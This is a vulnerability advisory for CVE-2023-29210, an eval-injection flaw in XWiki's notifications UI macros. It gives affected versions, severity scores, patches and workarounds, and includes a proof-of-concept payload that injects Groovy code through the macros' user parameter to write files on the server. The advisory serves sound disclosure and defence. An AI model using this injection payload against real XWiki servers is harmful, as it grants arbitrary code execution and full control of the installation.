CVE-2023-29210 – org.xwiki.platform:xwiki-platform-notifications-ui

Package

Manager: maven
Name: org.xwiki.platform:xwiki-platform-notifications-ui
Vulnerable Version: >=13.2-rc-1 <13.10.11 || >=14.0-rc-1 <14.4.7 || >=14.5 <14.10

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS: 0.08213 pctl0.91879

Details

org.xwiki.platform:xwiki-platform-notifications-ui Eval Injection vulnerability ### Impact Any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the [notification filters](https://extensions.xwiki.org/xwiki/bin/view/Extension/Notifications%20Application/#HFilters). These macros are used in the user profiles and thus installed by default in XWiki. A proof of concept exploit is ``` {{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}} {{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}} {{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}} ``` If this creates files inside `/tmp`, the installation is vulnerable. ### Patches The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10. ### Workarounds The issue can be fixed by patching the code in the affected macros that are contained in XWiki documents as shown in the [patch](https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a) for this issue. ### References * https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a * https://jira.xwiki.org/browse/XWIKI-20259 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Email us at [Security Mailing List](mailto:security@xwiki.org)

Metadata

Created: 2023-04-12T20:35:13Z
Modified: 2023-04-16T07:16:09Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/04/GHSA-p9mj-v5mf-m82x/GHSA-p9mj-v5mf-m82x.json
CWE IDs: ["CWE-94", "CWE-95"]
Alternative ID: GHSA-p9mj-v5mf-m82x
Finding: F184
Auto approve: 1